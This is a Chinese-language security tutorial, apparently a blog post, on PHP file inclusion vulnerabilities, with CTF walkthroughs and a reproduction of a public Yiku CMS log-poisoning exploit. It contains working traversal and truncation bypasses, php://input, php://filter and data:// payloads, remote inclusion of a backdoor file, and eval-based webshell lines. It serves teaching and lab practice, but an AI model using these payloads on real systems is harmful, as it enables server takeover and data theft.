文件操作之文件包含漏洞

目录

本文仅供参考、交流、学习,如有违法行为后果自负

文件包含类型

原理方面

文件包含漏洞原理案例:

必要条件

那么如何去检测漏洞是否存在该漏洞?

白盒

黑盒

类型

本地文件包含

无限制

 有限制

远程文件包含

无限制

有限制 

利用

协议/版本/条件、用法 

file协议(需要完整路径)

http://协议 

php://filter读取源文件

php://input执行php代码

​编辑php://input通过打开shell写入后门代码

实例案例

CTF-南邮大-白盒访问地址: asdf (chinalover.sinaapp.com)

春秋百度杯真题-白盒

易库cms渗透 公开漏洞

补充说明

为什么能够知道该cms有文件包含漏洞

为什么这样写后门到日志文件内可以执行?

webshell无法写入目录

修复方案


文件包含类型

<!--#include file=文件名.asp -->#asp包含本地文件
<!--#include file=文件名.aspx --># aspx包含本地文件
<jsp:include page="文件名.jsp"/> # jsp包含本地文件
<c:import url="http://ip/文件名.jsp"> #jsp包含远程文件
<%@ include file="1.jsp"%> # jsp包含本地文件
<?php Include('1.php')?> # php包含本地文件

原理方面

将文件进行包含,包含之后的文件会进行调用指定的代码

简要来说:将文件包含的内容,以脚本格式进行解析调用

比如要进行文件的连接,数据库的查询,可以先包含一个数据库的配置文件,然后直接进行连接

也可以将一些功能性的代码写到文件内,然后用另一个文件包含这个文件,就不再重复书写代码

文件包含漏洞原理案例:

首先准备一个包含文件放置在服务器

<?php
$filename=$_GET['filename'];
include($filename);
?>

然后在同个目录下存在1.txt文件

 可以看见将1.txt文件进行传参到include是可以将txt文件解析为php脚本进行调用的

如果是直接访问1.txt是不会被进行解析 ,也不存在解析漏洞

 故,在以下传参的地址下,通过include函数的包含的情况下

http://192.168.248.129:801/include.php?filename=1.txt

相当于以php格式执行了1.txt文件

$filename=1.txt

必要条件

和命令执行其他漏洞的成因一样,需要存在可控变量,还有包含函数

那么如何去检测漏洞是否存在该漏洞?

检测方式也和其他漏洞大致一样,同样是存在于黑盒白盒俩个方面

白盒

代码审计

黑盒

漏洞扫描工具:

公开漏洞:

手工看参数及功能点:

参数值:可以查看网站后面的参数值是文件还是类似文件名的地址进行判断是不是给的是一个文件

功能点:功能需要实现的时候需要什么函数

类型

本地文件包含

需要先明确的是进行本地包含目录是需要该服务器下存在的文件

黑盒情况下也不知道文件含有什么内容,需要自己进行上传文件

所以
本地文件包含,首先判断能不能上传自己的文件让其包含自己的文件

如若不能如何让对方网站获取到我们自己需要的代码,原始文件的操作文件如访问日志

本地包含不能同远程包含进行指向文件

无限制

上方原理案例演示的包含的是同目录下的文件,那么如果想包含其他目录下的文件需要特殊手段

通过../进行包含上级目录,如下:www目录下存在包含文件,而我想调用c目录下的

 此时的包含include.php文件代码如下

<?php
$filename=$_GET['filename'];
include($filename);
?>

则是使用../进行访问上级目录(这里返回上级两层则是两次../)

http://192.168.248.129:801/include.php?filename=../../c.txt

 有限制

有限制的包含文件和上方无限制的略微不同,在代码上进行了限制只能html后缀文件

<?php
$filename=$_GET['filename'];
include($filename.".html");#强行指定包含文件后缀为html格式
?>

 由于实战中是黑盒进行测试,所以也无法知道具体哪一种格式,不建议尝试

所以这种情况下哪怕存在文件也无法进行包含,会提示该文件无法打开,不存在文件

 当然遇到这种情况就没办法了么,我们还可以尝试%00截断长度截断

首先如果是使用%00截断,

需要该服务器的php版本是小于5.3.4才可以,并且关闭魔术引号,gpc

%00截断条件:magic_quotes_gpc=off php版本<5.3.4

 相对于后面限制条件给进行截断了

如果不满足条件就只能尝试使用长度截断

长度截断条件:Windows点号长度长于256,Linux点号长于4096

通过目标系统设置长度,超出最大接受长度之后限制的命令加不上去达到绕过

由于是Windows系统,以/符号开始,加到256个后正常执行

以.符号开始

 或者是. 

再如“

远程文件包含

只要远程地址存在该文件

远程包含危害相比较大,通过创建一个可以访问到的网站地址来让漏洞去包含目标文件

远程包含基本上在任何脚本都有一个设置来确定这个会不会成为一个漏洞包含

例如php就需要这里打开才可以请求远程文件请求

 此处打开,其他版本可进行百度查找

无限制

如果在代码上没有限制,并且开发平台上也没有关闭设置包含远程文件就会造成远程包含文件漏洞

<?php
$filename=$_GET['filename'];#与上无异
include($filename);
?>

 这里只是简单的phpinfo(),但如果当请求的是一个后门文件的危害就不一样了

并且该位置可以直接使用菜刀进行连接

http://192.168.248.129:801/include.php?filename=http://www.xiaodi8.com/readme.txt

这是因为服务器会对远程地址进行请求,然后执行后门文件 ,如果没写也就执行不上

有限制 

代码存在限制有两种情况

一种是只能包含本地文件,包含本地文件往上看

另一种是代码上进行过滤

<?php
$filename=$_GET['filename'];
include($filename.".html");#同样限制html
?>

在远程文件链接最尾处上增加?、%23、%20

 远程地址的进行长度绕过是不可行的

利用

如果想利用该漏洞实现功能可以尝试使用伪协议实现绕过限制和waf

但前提需要先知每种脚本对应协议是否支持

协议/版本/条件、用法 

可以看看其他的一个伪协议用法

php伪协议 - 看不尽的尘埃 - 博客园 (cnblogs.com)

file协议(需要完整路径)

http://192.168.248.129:801/include.php?filename=file://对方服务器绝对路径/文件名

http://协议 

http://192.168.248.129:801/include.php?filename=http://远程地址/文件名

php://filter读取源文件

http://192.168.248.129:801/include.php?filename=php://filter/read=convert.base64-encode/resource=绝对路径地址/文件名

 

php://input执行php代码

php://input + [POST方式提交]

php://input通过打开shell写入后门代码

php://input + [POST方式进行提交]

zip:\\读取压缩文件

http://192.168.248.129:801/include.php?filename=zip://绝对路径\压缩包名称%23文件名

示例:压缩包与文件需要使用%23分隔

http://192.168.248.129:801/include.php?filename=zip://C:\phpStudy\WWW\2.zip%232.txt

可见服务器存在压缩文件2.zip中存在2.txt

 进行读取压缩包文件执行php代码

 data://数据流封装代码

http://192.168.248.129:801/include.php?filename=data://text/plain,代码

实例案例

CTF-南邮大-白盒
访问地址: asdf (chinalover.sinaapp.com)

第一步:我们打开进行观察网页

如果是真实网站我们可以通过漏洞扫描工具,公开漏洞

这里由于是CTF只能通过手工看参数值、功能点进行判断

所以我们寻找带有文件名或者文件链接的地址功能点位置

发现这里带有文件名,在文件名这里还存在一个参数值

而对于参数名是有讲究的,name传递名字,uid传递数字,file传递文件


在进行访问show.php是test123,直接访问该文件地址也是test123,并没有在上面写上php代码

就是因为该文件被另一个文件进行了包含,所以show.php不用再重复书写php代码

此时我们对其进行信息收集进行判断系统,众所周知Linux系统严格区分大小写

而这里将链接改为了大写就找不到文件,故是Linux系统

 然后对其文件使用php://input协议进行利用执行代码

 此时发现行不通,有可能是php:input的设置要求不满足,也有可能是被进行了过滤

 所以我们再试试其他的协议,获取这个文件,看看是进行过滤还是没开设置

 我们将读取到的进行解密,发现无可用信息 

 我们再对其他文件进行读取,获取到一些信息,粘贴到文本上便于查看是否有利用使用信息

 打开之后会发现,代码对提交的数据进行了查找过滤 

但再往下看,底下已经存在CTF的一个答案,至此拿到flag

 

 春秋百度杯真题-白盒

访问地址:选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋 (ichunqiu.com)

 在web题目中找到带有include的这一关

该网站需要认证所以没练习

易库cms渗透 公开漏洞

 易酷影视靶场源码链接(该地址内有安装文档):

链接:https://pan.baidu.com/s/1u20hwEOviNoJZk2zJiw2Ow 
提取码:ZRIP 

安装完成之后进行首页 

 对于市面上能够拿到源码的这类开源cms

我们还是老样子直接进行百度查找是否存在漏洞、没有情况下再对其源码进行分析

此时便发现到了是有公开的一个漏洞,然后我们参考别人文档进行漏洞复现

 漏洞文档:

 易酷 cms2.5 本地文件包含漏洞 getshell - Oran9e - 博客园 (cnblogs.com)

首先我们在进行访问的时候在尾部加上后门

 可见后门被写入到了日志文件 

 再让文件进行包含

补充说明

为什么能够知道该cms有文件包含漏洞

这里可能有疑问,为什么知道他有文件包含漏洞,我们能拿到源码

自然是可以对源码进行分析,比如这里存在一个require()函数

可参考文档:易酷CMS文件包含 · 大专栏 (dazhuanlan.com)

当我们知道是存在文件包含漏洞的情况下,就可以进行尝试漏洞

然后通过观察,用户是没有发现到远程文件链接或存在上传文件点

那么只能进行本地包含文件,而很多情况下我们根本不知道对方存在哪些文件

那么我们所需要做的就是让这个服务器存在一个我们需要的文件

此时,我们可以尝试一个功能,访问日志,该网站存在一个恶意日志的访问记录

这个是别人经过代码分析得出

具体该漏洞就是如其他大佬研究的了

为什么这样写后门到日志文件内可以执行?

/?s=my/show/id/{~eval($_POST[orange])}

正常写后门都是

<?php @eval($_POST['shell']);?>

而这次写的是

{~eval($_POST[orange])}

这是因为这里是存在文件包含漏洞的,写上<?php?>和不写无差别,写上只是一个声明

但是这里已经进行了文件包含,所以不用重复编写

webshell无法写入目录

正常来说每个目录都是可以的,写不进去的原因,目录权限设置,拦截,代码错误

直接写的时候加上文件名,就会在当前目录创建

修复方案

市面上的WAF防护产品

固定后缀(防止部分攻击)

<?php
$filename=$_GET['filename'];
include($filename.".html");#强行指定包含文件后缀为html格式
?>

固定文件(不需要传参的情况下)

<?php
$filename=$_GET['filename'];
include('1.txt');#固定文件
?>

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值